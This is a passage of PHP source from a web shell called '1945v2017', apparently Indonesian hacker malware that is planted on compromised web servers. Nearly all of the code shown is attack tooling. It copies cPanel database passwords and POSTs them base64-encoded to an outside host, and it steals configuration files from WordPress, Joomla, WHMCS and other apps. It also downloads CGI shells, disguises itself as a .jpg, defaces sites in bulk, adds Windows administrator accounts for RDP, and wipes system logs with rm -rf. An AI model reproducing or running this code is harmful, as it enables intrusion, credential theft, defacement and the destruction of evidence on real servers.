/>";$val=$act->getcontent("https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/wordlist_af.txt");$input.=$html->textarea("wordlist",$val,"style=\"width:400px;height:250px\"");$html->show($html->form("POST",$input)."</center>");}else {if(!empty($_POST['url'])){$html->show("<div class=\"code\" style=\"text-align:left;\">");$e=explode("\n",$_POST['wordlist']);$url=$_POST['url'];foreach($e as $wordlist){$admin=array("admin","password","username","login","masuk","daftar","register");if(preg_match('/'.implode("|",$admin).'/i',$act->getcontent($url."/".$wordlist))){$html->show("    [ <font color=lime>FOUND</font> ] ".$url."/".$wordlist."<br />");}else {$html->show("  [ <font color=red>NOT FOUND</font> ] ".$url."/".$wordlist."<br />");}}$html->show("</div>");}}}elseif($__action__=="abt"){$html->show("<center>");$html->show($html->h1("About 1945v2017"));$html->show("<b>MerdekaAtoeMati</b><br />");$html->show("<i>1945 shell by : ".$html->a("https://facebook.com/JKT48.co","shutdown57","target=\"_blank\"")."</i>");$html->show(base64_decode(base64_decode("UEdoeVBnMEtQSEErUEdJK1VISnZhMnhoYldGemFUd3ZZajQ4TDNBK0RRbzhhVDVMWVcxcElHSmhibWR6WVNCSmJtUnZibVZ6YVdFZ1pHVnVaMkZ1SUdsdWFTQnRaVzVxWVhSaGEyRnVJR3RsYldWeVpHVnJZV0Z1SUVsdVpHOXVaWE5wWVN3OFluSStEUXBJWVd3dGFHRnNJR3BoYm1jZ2JXVnVaMlZ1WVdrZ2NHVnRhVzVrWVdoaGJpQnJaV3R2WldGellXRnVJR1JoYmlCc1lXbHVMV3hoYVc0OFluSStEUXBrYVNCelpXeGxibWRuWVhKaGEyRnVJR1JsYm1kaGJpQjBhbUZ5WVNCellXdHpZVzFoSUdSaGJpQmtZV3hoYlNCMGFXVnRjRzhnYW1GdVp5QnpaWE5wYm1kcllYUXRjMmx1WjJ0aGRHNXFZVHhpY2o0TkNqd3ZhVDQ4WWlCaGJHbG5iajF5YVdkb2RENUVhbUZyWVhKMFlTd3hOeTB3T0MweE9UUTFJRHhpY2o0Z1FYUmhjeUJ1WVcxaElHSmhibWR6WVNCSmJtUnZibVZ6YVdFOFluSStJRk52Wld0aGNtNXZJQzBnU0dGMGRHRThMMkkrRFFvOGFISStEUW94T1RRMVUyaGxiR3dnVUhKbGMyVnVkQ0JDZVNBOFlTQm9jbVZtUFNKb2RIUndPaTh2YW1GMllXTnZaR1Z5ZFd4bGN5NXBieThpSUhSaGNtZGxkRDBpWDJKc1lXNXJJajVLWVhaRGIyUmxQQzloUGlBbVkyOXdlVHNnTWpBeE53PT0=")));}elseif($__action__=="help"){$c=$act->getsource("https://raw.githubusercontent.com/alintamvanz/1945shell/master/help.1945.txt");$html->show("<center>".$html->h1("Help - Bantuan")."</center>");$html->show("<pre>".$c."</pre>");}elseif($__action__=="dl"){@ob_clean();$file=$_GET['__files__'];header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($file).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: '.filesize($file));readfile($file);exit;}elseif($__action__=="log"){$dstr=session_destroy();if($dstr==true){$html->show("<script>alert('Bye !'); window.location.href='?__1945__';</script>");}}elseif($__action__=="telnet"){$cgidir="1945_cgi/";@mkdir($cgidir,0755);$hta="OPTIONS Indexes Includes ExecCGI FollowSymLinks\nAddType application/x-httpd-cgi .id\nAddHandler cgi-script .id\nAddHandler cgi-script .id";$source=$act->getcontent("https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/cgi_telnet.pl");$act->simpantext($cgidir.".htaccess",$hta);$act->simpantext($cgidir."cgi_telnet.id",$source);@chmod($cgidir."cgi_telnet.id",0755);@chmod($cgidir.".htacess",0755);$html->show("<center><h1>Done ... <a href='1945_cgi/cgi_telnet.id' target='_blank'>Click here</a></h1></center>");}elseif($__action__=="sh"){$cgidir="1945_cgi/";@mkdir($cgidir,0755);$hta="OPTIONS Indexes Includes ExecCGI FollowSymLinks\nAddType application/x-httpd-cgi .id\nAddHandler cgi-script .id\nAddHandler cgi-script .id";$source=$act->getcontent("https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/cgi_shell.sh");$act->simpantext($cgidir.".htaccess",$hta);$act->simpantext($cgidir."cgi_shell.id",$source);@chmod($cgidir."cgi_shell.id",0755);@chmod($cgidir.".htacess",0755);$html->show("<center><h1>Done ... <a href='1945_cgi/cgi_shell.id' target='_blank'>Click here</a></h1></center>");}elseif($__action__=="sym"){$html->show("<center>");$html->show($html->h1("Symlink 1945 Shell"));$opti=$html->option("serv","Server");$opti.=$html->option("php","PHP");$inputs=$html->input("text","target","value=\"".$dir."\"","Directory");$inputs.=$html->input("text","to","value=\"".$dir."/sym1945.txt\"","Symlink to ");$inputs.=$html->select("method",$opti,"class=\"input_m\" style=\"width:100px;\"");$inputs.=$html->submit("sym","value=\"Symlink !\"");$html->show($html->form("POST",$inputs));if(isset($_POST['sym'])){$target=$_POST['target'];$link=$_POST['to'];if($_POST['method']=='serv'){FileMan45::cmd("ln -s $target $link");if(file_exists($link)){$html->show("Symlink done :* ".$html->a("?__merdeka__=$link","Click Here"));}else {$html->show("Failed To Symlink With Command Server");}}elseif($_POST['method']=='php'){if(symlink($target,$link)){$html->show("Symlink done :* ".$html->a("?__merdeka__=$link","Click Here"));}else {$html->show("Failed To Symlink With PHP");}}}}elseif($__action__=="grabcp"){function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){$ar0=explode($marqueurDebutLien,$text);$ar1=explode($marqueurFinLien,$ar0[$i]);return trim($ar1[0]);}$d0mains=@file('/etc/named.conf');$domains=scandir("/var/named");if($domains or $d0mains){$domains=scandir("/var/named");if($domains){$html->show("<table align=center>");$html->show($html->tr("<th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th>"));$count=1;$dc=0;$list=scandir("/var/named");foreach($list as $domain){if(strpos($domain,".db")){$domain=str_replace('.db','',$domain);$owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));$dirz='/home/'.$owner['name'].'/.my.cnf';$path=getcwd();if(is_readable($dirz)){copy($dirz,''.$path.'/'.$owner['name'].'.txt');$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');$password=entre2v2($p,'password="','"');$tbl=$html->td($count++);$tbl.=$html->td($html->a("http://".$domain.":2082",$domain));$tbl.=$html->td($owner['name']);$tbl.=$html->td($password);$tbl.=$html->td($html->a($owner['name'].".txt","Click Here"));$html->show($html->tr($tbl));$dc++;$success3="http://".$domain."|".$owner['name']."|".$password."\n";$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"http://ww3s.ws/ok.php");curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,"result=".base64_encode($success3));curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,1);$buffer=curl_exec($ch);}}}$html->show("</table></center>");$total=$dc;}else {$d0mains=@file('/etc/named.conf');if($d0mains){$html->show("<table align=center>");$html->show($html->tr("<th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th>"));;$count=1;$dc=0;$mck=array();foreach($d0mains as $d0main){if(@preg_match('/zone/',$d0main)){preg_match_all('#zone "(.*)"#',$d0main,$domain);flush();if(strlen(trim($domain[1][0]))>2){$mck[]=$domain[1][0];}}}$mck=array_unique($mck);$usr=array();$dmn=array();foreach($mck as $o){$infos=@posix_getpwuid(fileowner("/etc/valiases/".$o));$usr[]=$infos['name'];$dmn[]=$o;}array_multisort($usr,$dmn);$dt=file('/etc/passwd');$passwd=array();foreach($dt as $d){$r=explode(':',$d);if(strpos($r[5],'home')){$passwd[$r[0]]=$r[5];}}$l=0;$j=1;foreach($usr as $r){$dirz='/home/'.$r.'/.my.cnf';$path=getcwd();if(is_readable($dirz)){copy($dirz,''.$path.'/'.$r.'.txt');$p=file_get_contents(''.$path.'/'.$r.'.txt');$password=entre2v2($p,'password="','"');$tt=$html->td($count++);$tt.=$html->td($html->a("http://".$dmn[$j-1],$dmn[j-1]));$tt.=$html->td($r);$tt.=$html->td($password);$tt.=$html->td($html->a($r.".txt","Click Here"));$html->show($html->tr($tt));$dc++;flush();$l=$l?0:1;$j++;}}}$html->show("</table>");$total=$dc;$html->show("<b>Total cPanel Found = <big>".$total."</big></b></br></center>");}}else {$html->show("<center><h1>ERROR :( </h1><br /><font color=red><i>/var/named</i></font> or <font color=red><i>etc/named.conf</i></font><b> Not Accessible!</b></center>");}}elseif($__action__=="config"){$html->show("<center>".$html->h1("Get Config")."</center>");$cfgdir=$html->input("text","cfgdir","value=\"".getcwd()."\" placeholder=\"/home/user/public_html\"","get config dir ");$cfgdir.=$html->submit("gconf","value=\"Get Config\"");if(isset($_POST['gconf'])){if(!file_exists("1945.conf/.htaccess")&&!file_exists("1945.conf/shutdown57.txt")){@mkdir("1945.conf",0777);$act->simpantext("1945.conf/.htaccess","Options all\nDirectoryIndex shutdown57.txt\nSatisfy Any");$act->simpantext("1945.conf/shutdown57.txt","./1945.conf - shutdown57");fopen("/etc/passwd","r") or die("<center><big>Can't read /etc/passwd</big></center>");foreach($act->getuser() as $user){$configdir=$_POST['cfgdir'];if(is_readable($configdir)){$grab_config=array("/home/$user/.my.cnf"=>"cpanel","/home/$user/.accesshash"=>"WHM-accesshash","$configdir/po-content/config.php"=>"Popoji","$configdir/vdo_config.php"=>"Voodoo","$configdir/bw-configs/config.ini"=>"BosWeb","$configdir/config/koneksi.php"=>"Lokomedia","$configdir/lokomedia/config/koneksi.php"=>"Lokomedia","$configdir/clientarea/configuration.php"=>"WHMCS","$configdir/whm/configuration.php"=>"WHMCS","$configdir/whmcs/configuration.php"=>"WHMCS","$configdir/forum/config.php"=>"phpBB","$configdir/sites/default/settings.php"=>"Drupal","$configdir/config/settings.inc.php"=>"PrestaShop","$configdir/app/etc/local.xml"=>"Magento","$configdir/joomla/configuration.php"=>"Joomla","$configdir/configuration.php"=>"Joomla","$configdir/wp/wp-config.php"=>"WordPress","$configdir/wordpress/wp-config.php"=>"WordPress","$configdir/wp-config.php"=>"WordPress","$configdir/admin/config.php"=>"OpenCart","$configdir/slconfig.php"=>"Sitelok","$configdir/application/config/database.php"=>"Ellislab");foreach($grab_config as $config=>$nama_config){$ambil_config=file_get_contents($config);if($ambil_config==''){}else {$file_config=fopen("1945.conf/$user-$nama_config.txt","w");fputs($file_config,$ambil_config);}}}}$html->show("<center><big>Successfully Proccess Request ! ->".$html->a("?__merdeka__=".getcwd()."/1945.conf","Click Here Your Config")." !</big></center>");}else {$html->show("<meta http-equiv='refresh' content='0;url=?__merdeka__=".getcwd()."/1945.conf'>");}}else {$html->show("<center>".$html->form("POST",$cfgdir)."</center>");}}elseif($__action__=="jump"){$ip=gethostbyname($_SERVER['HTTP_HOST']);$html->show("<center>".$html->h1("Jumping")."</center>");$i=0;if(preg_match("/hsphere/",$dir)){$urls=explode("\r\n",$_POST['url']);if(isset($_POST['jump'])){$html->show("<pre>");foreach($urls as $url){$url=str_replace(array("http://","www."),"",strtolower($url));$etc="/etc/passwd";$f=fopen($etc,"r");while($gets=fgets($f)){$pecah=explode(":",$gets);$user=$pecah[0];$dir_user="/hsphere/local/home/$user";if(is_dir($dir_user)===true){$url_user=$dir_user."/".$url;if(is_readable($url_user)){$i++;$jrw="[<font color=lime>R</font>] <a href='?__merdeka__=$url_user'><font color=gold>$url_user</font></a>";if(is_writable($url_user)){$jrw="[<font color=lime>RW</font>] <a href='?__merdeka__=$url_user'><font color=gold>$url_user</font></a>";}$html->show($jrw."<br />");}}}}if($i==0){$html->show("<br /><b><big><center>Tidak ada kamar di ".$ip."</center></big></b>");}else {$html->show("<br />Total ada ".$i." Kamar di ".$ip);}$html->show("</pre>");}else {$html->show('<center><form method="post">List Domains: <br /><textarea name="url" class="txtarea_m">');$fp=fopen("/hsphere/local/config/httpd/sites/sites.txt","r");while($getss=fgets($fp)){$html->show($getss);}$html->show('</textarea><br /><input type="submit" value="Jumping" name="jump" class="input_m"></form></center>');}}elseif(preg_match("/vhosts|vhost/",$dir)){preg_match("/\/var\/www\/(.*?)\//",$dir,$vh);$urls=explode("\r\n",$_POST['url']);if(isset($_POST['jump'])){$html->show("<pre>");foreach($urls as $url){$url=str_replace("www.","",$url);$web_vh="/var/www/".$vh[1]."/$url/httpdocs";if(is_dir($web_vh)===true){if(is_readable($web_vh)){$i++;$jrw="[<font color=lime>R</font>] <a href='?__merdeka__=$web_vh'><font color=gold>$web_vh</font></a>";if(is_writable($web_vh)){$jrw="[<font color=lime>RW</font>] <a href='?__merdeka__=$web_vh'><font color=gold>$web_vh</font></a>";}$html->show($jrw."<br />");}}}if($i==0){$html->show("<center><big>Tidak ada kamar di ".$ip."</big></center>");}else {$html->show("<br />Total ada ".$i." Kamar di ".$ip);}$html->show("</pre>");}else {$html->show('<center><form method="post">List Domains: <br /><textarea name="url" class="txtarea_m">');$act->bing("ip:$ip");$html->show('</textarea><br /><input type="submit" value="Jumping" name="jump" class="input_m"></form></center>');}}else {$html->show("<pre>");$etc=fopen("/etc/passwd","r") or die("<font color=red>Can't read /etc/passwd</font>");while($passwd=fgets($etc)){if($passwd==''||!$etc){$html->show("<font color=red>Can't read /etc/passwd</font>");}else {preg_match_all('/(.*?):x:/',$passwd,$user_jumping);foreach($user_jumping[1] as $user_x){$user_jumping_dir="/home/$user_x/public_html";if(is_readable($user_jumping_dir)){$i++;$jrw="[<font color=lime>R</font>] <a href='?__merdeka__=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";if(is_writable($user_jumping_dir)){$jrw="[<font color=lime>RW</font>] <a href='?__merdeka__=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";}$html->show($jrw);if(function_exists('posix_getpwuid')){$domain_jump=file_get_contents("/etc/named.conf");if($domain_jump==''){$html->show(" => ( <font color=red>gabisa ambil nama domain nya</font> )<br />");}else {preg_match_all("#/var/named/(.*?).db#",$domain_jump,$domains_jump);foreach($domains_jump[1] as $dj){$user_jumping_url=posix_getpwuid(@fileowner("/etc/valiases/$dj"));$user_jumping_url=$user_jumping_url['name'];if($user_jumping_url==$user_x){$html->show(" => ( <u>$dj</u> )<br />");break;}}}}else {$html->show("<br />");}}}}}if($i==0){$html->show("<center><big>Tidak ada kamar di ".$ip." </big></center>");}else {$html->show("<br />Total ada ".$i." Kamar di ".$ip);}$html->show("</pre>");}}elseif($__action__=="jpgshell"){$htaccess="\n Addhandler application/x-httpd-php .jpg";$simpan=$act->simpantext(".htaccess",$htaccess);$shell_lama=$_SERVER['SCRIPT_FILENAME'];if($simpan){$html->show("Successfully Create .htaccess Files ... <br />");if(copy($shell_lama,$shell_lama."-backup.php")){$html->show("Successfully Copying Original Shell to ".$shell_lama."-backup.php <br />");}else {$html->show("Failed Copying Original Shell :( ... <br />");}if(rename($shell_lama,"1945v2017.jpg")){$html->show("Successfully Rename shell to <b>1945v2017.jpg</b> ..<br />");$html->show($html->a("1945v2017.jpg","Click Here")." For New *.jpg shell <br />");}else {$html->show("Failed Rename shell :( ... <br />");}}else {$html->show("<h1>Failed :(</h1>");}}elseif($__action__=="stamp"){$html->show("<center>".$html->h1("Stamp Site")."</center>");$stampinput=$html->input("text","haiker","value=\"shutdown57\"","Stamped by ");$stampinput.=$html->input("text","email","value=\"indonesianpeople.shutdown57@gmail.com\"","Contact to");$stampinput.=$html->input("text","fname","value=\"shutdown57.html\"","Filename ");$stampinput.=$html->submit("stamp","value=\"Execute !\"");$stampinput.=$html->textarea("pesan","Akhir nya ada yang mengerti perasaanku selama ini");if(isset($_POST['stamp'])){if($act->Stamp45("stamped.html.tmp",$_POST['fname'],$_POST['haiker'],$_POST['pesan'],$_POST['email'])){$html->show("<b> Successfully Stamped this site ... :p </b>");$html->show("<br /> Proof : ".$html->a($_POST['fname'],"Click here ..",""));}else {$html->show("<b> Failed Stamped this site .. :( </b>");}}else {$sc=file_get_contents(htmlspecialchars("https://pastebin.com/raw/ebnKvGqM"));$act->simpantext("stamped.html.tmp",$sc);$html->show($html->form("POST",$stampinput));}}elseif($__action__=="fake"){$html->show("<center>".$html->h1("Fake R00t")."</center>");ob_start();$user=@get_current_user();$cwd=getcwd();$ambil_user=explode("/",$cwd);$user=$ambil_user[2];if($_POST['reverse']){$site=explode("\r\n",$_POST['url']);$file=$_POST['file'];foreach($site as $url){$cek=$act->getsource("$url/~$user/$file");if(preg_match("/hacked/i",$cek)){$html->show($html->a($ppq,$ppq)." -> FakeRoot !<br />");}}}else {$inputfake=$html->input("text","file","value=\"shutdown57.html\"","Filename ");$inputfake.=$html->input("text","","value=\"$user\" readonly","User ");$inputfake.=$html->submit("reverse","value=\"Scan Fake Root\"");$inputfake.=$html->textarea("url",$act->reverse($_SERVER['HTTP_HOST']),"");$html->show($html->form("POST",$inputfake));}}elseif($__action__=="massd"){$html->show("<center>".$html->h1("Mass Deface"));$inputd=$html->input("text","fname","value=\"shutdown57.php\"","Filename ");$inputd.=$html->input("text","dname","value=\"".$dir."\"","Directory ");$inputd.=$html->submit("mass","value=\"Mass Deface\"");$inputd.=$html->textarea("sc","Hurted by shutdown57","");if(isset($_POST['mass'])){$act->MassDeface45($_POST['fname'],$_POST['dname'],$_POST['sc']);}else {$html->show($html->form("POST",$inputd));}}elseif($__action__=="zoneh"){$inputz=$html->input("text","haiker","value=\"shutdown57\"","Notifier");$inputz.=$html->submit("submitz","value=\"Notify \"");$inputz.=$html->textarea("site","http://www.alinko.jp\nhttp://ngewe.com","");$html->show("<center>".$html->h1("Zone-H Mass notifier"));if(isset($_POST['submitz'])){$haiker=$_POST['haiker'];$domen=explode("\r\n",$_POST['site']);foreach($domen as $kehed){$exezoneh=$act->zoneh45($haiker,$kehed);if(preg_match("/color=\"red\">OK<\/font><\/li>/i",$exezoneh)){$html->show("[ <font color=lime> OKAYY </font> ] ".$kehed."<br />");}else {$html->show("[ <font color=red> ERROR </font> ]".$kehed."<br />");}}}else {$html->show($html->form("POST",$inputz."</center>"));}}elseif($__action__=="smtp"){$html->show("<center>".$html->h1("SMTP Grabber")."</center>");if(!preg_match("/1945.conf/",$dir)){$html->show("<b> This will be worked if you in 1945.conf Directory !");$act->CekConf();}else {$dira=scandir($dir);foreach($dira as $dirb){if(!is_file("$dir/$dirb"))continue;$ambil=file_get_contents("$dir/$dirb");$ambil=str_replace("$","",$ambil);if(preg_match("/JConfig|joomla/",$ambil)){$smtp_host=$act->getStr45($ambil,"smtphost = '","'");$smtp_auth=$act->getStr45($ambil,"smtpauth = '","'");$smtp_user=$act->getStr45($ambil,"smtpuser = '","'");$smtp_pass=$act->getStr45($ambil,"smtppass = '","'");$smtp_port=$act->getStr45($ambil,"smtpport = '","'");$smtp_secure=$act->getStr45($ambil,"smtpsecure = '","'");$smtp_res="SMTP Host: <font color=lime>$smtp_host</font><br />";$smtp_res.="SMTP port: <font color=lime>$smtp_port</font><br />";$smtp_res.="SMTP user: <font color=lime>$smtp_user</font><br />";$smtp_res.="SMTP pass: <font color=lime>$smtp_pass</font><br />";$smtp_res.="SMTP auth: <font color=lime>$smtp_auth</font><br />";$smtp_res.="SMTP secure: <font color=lime>$smtp_secure</font><br /><br />";}}$html->show($smtp_res);}}elseif($__action__=="rdp"){$html->show("<center>".$html->h1("RDP Tools")."</center>");if($GLOBALS['os']=='win'){if($_POST['create']){$user=htmlspecialchars($_POST['user']);$pass=htmlspecialchars($_POST['pass']);if(preg_match("/$user/",FileMan45::cmd("net user"))){;$html->show("[INFO] | <font color=red>USER <b>$user</b> Already Exists</font>");}else {$add_user=FileMan45::cmd("net user $user $pass /add");$add_groups1=FileMan45::cmd("net localgroup Administrators $user /add");$add_groups2=FileMan45::cmd("net localgroup Administrator $user /add");$add_groups3=FileMan45::cmd("net localgroup Administrateur $user /add");$result="<b>- [ RDP ACCOUNT INFO ]- </b>";$result.="IP   : <b>".$ip."</b><br />";$result.="Username : <b>".$user."</b><br />";$result.="Password : <b>".$pass."</b><br />";$result.="<b>- [ STATUS ] -</b>";$html->show($result);if($add_user){$html->show("[add user] -> <font color='lime'>Successfully</font><br />");}else {$html->show("[add user] -> <font color='red'>F a i l e d</font><br />");}if($add_groups1){$html->show("[add localgroup Administrators] -> <font color='lime'>Successfully</font><br />");}elseif($add_groups2){$html->show("[add localgroup Administrator] -> <font color='lime'>Successfully</font><br />");}elseif($add_groups3){$html->show("[add localgroup Administrateur] -> <font color='lime'>Successfully</font><br />");}else {$html->show("[add localgroup] -> <font color='red'>F a i l e d</font><br />");}$html->show("------------------------------<br />");}}elseif($_POST['s_opsi']){$user=htmlspecialchars($_POST['r_user']);if($_POST['opsi']=='1'){$cek=FileMan45::cmd("net user $user");$html->show("Checking username <font color=lime>$user</font> ....... ");if(preg_match("/$user/",$cek)){$html->show("[ <font color=lime>Already Exists</font> ]<br />------------------------------<br /><br /><pre>$cek</pre>");}else {$html->show("[ <font color=red>Not Exists</font> ]");}}elseif($_POST['opsi']=='2'){$cek=FileMan45::cmd("net user $user shutdown57");if(preg_match("/$user/",FileMan45::cmd("net user"))){$html->show("[change password: <font color=lime>shutdown57<font>] -> ");if($cek){$html->show("<font color=lime>Successfully</font>");}else {$html->show("<font color=red>F a i l e d</font>");}}else {$html->show("[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>");}}elseif($_POST['opsi']=='3'){$cek=FileMan45::cmd("net user $user /DELETE");if(preg_match("/$user/",FileMan45::cmd("net user"))){$html->show("[remove user: <font color=lime>$user</font>] -> ");if($cek){$html->show("<font color=lime>Successfully</font>");}else {$html->show("<font color=red>F a i l e d</font>");}}else {$html->show("[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>");}}}else {$opt_rdp=$html->option("1","Check Username").$html->option("2","Change Password").$html->option("3","Remove Username");$input_rdp1=$html->input("text","user","value=\"shutdown57\"","Username ");$input_rdp1.=$html->input("text","pass","value=\"shutdown57\"","Password ");$input_rdp1.=$html->submit("create","value=\">>\"");$input_rdp=$html->input("text","r_user","placeholder=\"username\"","Username");$input_rdp.=$html->select("opsi",$opt_rdp,"class=\"input_m\"");$input_rdp.=$html->submit("s_opsi","value=\">>\"");$html->show("<center><br />");$html->show("<b> CREATE RDP </b><br /><br />".$html->form("POST",$input_rdp1));$html->show("<br /><b> RDP OPTIONS </b><br /><br />".$html->form("POST",$input_rdp));$html->show("</center><br />");}}else {$html->show("<center>".$html->h1("Sorry, :( ! This tools just work in windows server.")."</center>");}}elseif($__action__=="update"){$html->show($act->update45());}elseif($__action__=="setting"){$html->show("<center>".$html->h1("Setting 1945Shell")."<big><b> Carefully, It's Developer Area! You must know <b>PHP</b> Bassically</b></big><br />If any error contact email listed!</center>");$set=$act->getStr45(file_get_contents($_SERVER['SCRIPT_FILENAME']),"//1945 shell configuration","//End Configuration");$pps=($set!=''||preg_match("/1945/",$set))?$pps=$set:$pps="Error Occured !";$seth="<input type='checkbox' value='1' name='bak'> Backup?";$seth.=$html->submit("setppq","value=\"Save !\"");$seth.=$html->textarea("set","\n\n".$pps);if(isset($_POST['setppq'])){$content=$_POST['set'];if($_POST['bak']=='1'){@copy($_SERVER['SCRIPT_FILENAME'],str_replace(".php",".bak.php",$_SERVER['SCRIPT_FILENAME']));}$o=str_replace($pps,$content,file_get_contents($_SERVER['SCRIPT_FILENAME']));$act->simpantext($_SERVER['SCRIPT_FILENAME'],$o);$html->show("<script>window.location.href='?'</script>");}else {$html->show($html->form("POST",$seth));}}elseif($__action__=="killme"){@unlink($_SERVER['SCRIPT_FILENAME']);$html->show("<script>alert('T E R B U N U H ! 1 ! 1');window.location.href='../';</script>");}elseif($__action__=="clogs"){if($GLOBALS['os']=='nix'){FileMan45::cmd("rm -rf /tmp/logs");$html->show('<br />Deleting .../tmp/logs ');FileMan45::cmd("rm -rf /root/.bash_history");$html->show('<p>Deleting .../root/.bash_history </p>');FileMan45::cmd("rm -rf /root/.ksh_history");$html->show('<p>Deleting .../root/.ksh_history </p>');FileMan45::cmd("rm -rf /root/.bash_logout");$html->show('<p>Deleting .../root/.bash_logout </p>');FileMan45::cmd("rm -rf /usr/local/apache/logs");$html->show('<p>Deleting .../usr/local/apache/logs </p>');FileMan45::cmd("rm -rf /usr/local/apache/log");$html->show('<p>Deleting .../usr/local/apache/log </p>');FileMan45::cmd("rm -rf /var/apache/logs");$html->show('<p>Deleting .../var/apache/logs </p>');FileMan45::cmd("rm -rf /var/apache/log");$html->show('<p>Deleting .../var/apache/log </p>');FileMan45::cmd("rm -rf /var/run/utmp");$html->show('<p>Deleting .../var/run/utmp </p>');FileMan45::cmd("rm -rf /var/logs");$html->show('<p>Deleting .../var/logs </p>');FileMan45::cmd("rm -rf /var/log");$html->show('<p>Deleting .../var/log </p>');FileMan45::cmd("rm -rf /var/adm");$html->show('<p>Deleting .../var/adm </p>');FileMan45::cmd("rm -rf /etc/wtmp");$html->show('<p>Deleting .../etc/wtmp </p>');FileMan45::cmd("rm -rf /etc/utmp");$html->show('<p>Deleting .../etc/utmp </p>');FileMan45::cmd("rm -rf /var/log/lastlog");$html->show('<p>Deleting .../var/log/lastlog </p>');FileMan45::cmd("rm -rf /var/log/wtmp");$html->show('<p>Deleting .../var/log/wtmp </p>');$html->show('<br /><br /><p>Your Traces Has Been Successfully Deleting ...From the Server');}else {$html->show("<h1> I think, this tools not work in windows server :(</h1>");}}}else {$html->show("<form method=\"POST\"><table class=\"a_exp\" align=\"center\">");$html->show($html->th("No.").$html->th("*").$html->th("Files").$html->th("Size").$html->th("Type").$html->th("Date Modif").$html->th("Owner:Group").$html->th("Permission").$html->th("Action"));foreach($scandir as $d){if(!is_dir("$dir/$d"))continue;if($d=="."){$f=$html->a("?__merdeka__=".$dir,".","");}elseif($d==".."){$f=$html->a("?__merdeka__=".dirname($dir),"..","");}else {$f=$html->a("?__merdeka__=$dir/$d",$d,"");}$html->show($html->tr($html->td($no++).$html->td("<input type='checkbox' name='seldir[]' value='".$dir."/".$d."'>").$html->td("<img src=\"data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\">[<b> ".$f." </b>]").$html->td($fileman->getfsize("$dir/$d")).$html->td($fileman->getmime("$dir/$d")).$html->td($fileman->getfilemtime("$dir/$d")).$html->td($fileman->getowner("$dir/$d").":".$fileman->getgroup("$dir/$d")).$html->td($fileman->getperms("$dir/$d")).$html->td($fileman->actiondir("$dir/$d"))));}foreach($scandir as $f){if(!is_file("$dir/$f")||$f=="."||$f=="..")continue;$html->show($html->tr($html->td($no++).$html->td("<input type='checkbox' name='selfile[]' value='".$dir."/".$f."'>").$html->td("<img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\">- ".$html->a("?__files__=$dir/$f&__action__=view",wordwrap($f,30,"<br/>",true),"")).$html->td($fileman->getfsize("$dir/$f")).$html->td($fileman->getmime("$dir/$f")).$html->td($fileman->getfilemtime("$dir/$f")).$html->td($fileman->getowner("$dir/$f").":".$fileman->getgroup("$dir/$f")).$html->td($fileman->getperms("$dir/$f")).$html->td($fileman->actionfile("$dir/$f"))));}if(empty($_SESSION['files_select'])){$option_oo=array(""=>"- action selected files-","delete"=>"delete","copy"=>"copy","cut"=>"cut","chmod"=>"chmod");}else {$option_oo=array(""=>"- action selected files-","paste"=>"paste here","move"=>"move here","delete"=>"delete","copy"=>"copy","chmod"=>"chmod","cancel"=>"UnSelect");foreach($_SESSION['files_select'] as 